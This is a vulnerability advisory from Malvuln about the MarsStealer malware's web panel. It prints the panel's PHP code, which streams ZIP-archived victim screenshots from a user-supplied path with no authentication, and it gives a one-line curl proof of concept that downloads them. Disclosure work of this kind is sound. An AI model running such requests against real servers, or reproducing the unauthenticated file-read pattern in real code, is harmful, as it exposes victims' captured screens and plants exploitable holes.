Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/8abb41f6e7010d70c90f65fd9a740faa.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Win32.MarsStealer Web Panel Vulnerability: Unauthenticated Remote Information Disclosure Description: The malware web interface stores screen captures named "screenshot.jpg" in the panel directory, ZIP archived. Third-party attackers who can reach the Mars web server can download any screenshots as no valid session or authentication check is done. view.php PHP code. $z = new ZipArchive(); $file ='screenshot.jpg'; $path = $_GET["path"]; if ($z->open(realpath($path))) { $stat = $z->statName($file); $fp = $z->getStream($file); header('Content-Type: image/jpeg'); header('Content-Length: ' . $stat['size']); fpassthru($fp); } else { echo "file not found"; } Type: WebUI MD5: 8abb41f6e7010d70c90f65fd9a740faa (MarsStealer_Menu.exe) MD5: 03c2c5cb3dba09bfa479fd5c50b5a2cf (dashboard.php) Vuln ID: MVID-2022-0451 Disclosure: 01/15/2022 Exploit/PoC: curl http://MARSSTEALER_SERVER/mars/panel/view.php?path=screenshot.zip --output screendump.jpg Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).